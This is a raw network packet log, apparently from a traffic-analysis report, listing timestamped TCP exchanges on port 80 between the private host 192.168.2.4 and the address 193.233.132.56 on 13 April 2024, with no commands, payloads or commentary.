Apr 13, 2024 20:21:07.590395927 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.595936060 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.595964909 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.595983982 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.595998049 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596002102 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596019983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596021891 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596038103 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596043110 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596061945 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596080065 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596081018 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596098900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596105099 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596132040 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596152067 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596153021 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596173048 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596200943 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596206903 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596208096 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596234083 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596251011 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596254110 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596282005 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596291065 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596302032 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596311092 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596330881 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596368074 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596368074 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596368074 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596472979 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596492052 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596525908 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596527100 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596545935 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596553087 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596570969 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596575975 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596590042 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596592903 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596610069 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596610069 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596628904 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596646070 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596646070 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596664906 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596664906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596683979 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596702099 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596709967 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596723080 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596729994 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596741915 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596756935 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596756935 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596760988 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596780062 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596785069 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596797943 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596798897 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596822977 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596841097 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596846104 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596863985 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596880913 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596894979 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596899986 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596918106 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596923113 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596923113 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596937895 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596941948 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596956968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.596959114 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596975088 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.596996069 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597007036 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597027063 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597043037 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597059965 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597062111 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597062111 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597079992 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597080946 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597100019 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597117901 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597172976 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597191095 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597208023 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597220898 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597224951 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597243071 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597244024 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597243071 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597263098 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597268105 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597280979 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597285986 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597299099 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597304106 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597321033 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597332001 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597338915 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597352028 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597369909 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597381115 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597388029 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597405910 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597405910 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597405910 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597424030 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597428083 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597440958 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597444057 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597462893 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597480059 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597485065 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597485065 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597497940 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597516060 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597516060 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597538948 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597673893 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597692966 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597709894 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597723961 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597728968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597747087 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597750902 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597750902 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597764969 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597769976 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597783089 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597790003 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597803116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597809076 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597822905 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597835064 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597835064 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597846985 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597865105 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597875118 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597901106 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597901106 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.597975016 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.597995043 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598011971 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598028898 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598031044 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598031044 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598047018 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598050117 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598066092 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598069906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598086119 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598088026 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598105907 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598105907 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598124981 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598124981 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598143101 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598144054 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598160982 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598162889 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598186970 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598203897 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598304987 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598325968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598344088 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598361015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598361969 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598361015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598381042 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598381042 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598398924 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598402977 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598418951 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598422050 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598438025 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598439932 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598457098 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598467112 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598474026 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598486900 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598491907 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598505974 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598510981 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598527908 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598529100 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598527908 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598548889 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598551989 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598568916 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598587036 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598658085 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598675966 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598692894 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598711014 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598711967 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598712921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598730087 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598731995 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598748922 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598750114 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598767042 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598769903 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598786116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598789930 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598809004 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598825932 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598836899 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598854065 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598870039 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598879099 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598887920 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598905087 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598905087 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598908901 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598923922 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598927975 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598947048 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598948956 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598965883 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598968029 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.598984003 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.598985910 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599000931 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599003077 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599020958 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599021912 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599037886 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599039078 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599062920 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599078894 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599170923 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599189043 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599210978 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599217892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599229097 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599239111 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599248886 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599263906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599263906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599271059 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599287033 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599289894 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599307060 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599309921 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599320889 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599328995 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599347115 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599348068 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599366903 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599383116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599400997 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599405050 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599405050 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599405050 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599438906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599438906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599499941 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599519968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599536896 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599548101 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599554062 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599572897 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599576950 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599576950 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599591017 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599606037 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599607944 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599622965 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599627018 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599638939 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599647999 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599656105 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599667072 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599670887 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599685907 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599689960 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599705935 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599728107 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599837065 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599854946 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599872112 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599888086 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599896908 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599905014 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599924088 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599941969 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599942923 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599958897 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599962950 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.599988937 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.599998951 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600004911 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600018024 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600035906 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600052118 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600052118 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600056887 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600075960 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600076914 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600095987 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600130081 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600177050 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600194931 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600213051 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600239038 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600255013 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600255013 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600255013 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600279093 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600322008 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600339890 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600357056 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600373030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600373983 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600389957 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600406885 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600425959 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600522995 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600541115 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600557089 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600574017 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600574017 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600594044 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.600600004 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600600004 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.600614071 CEST	80	49738	193.233.132.56	192.168.2.4
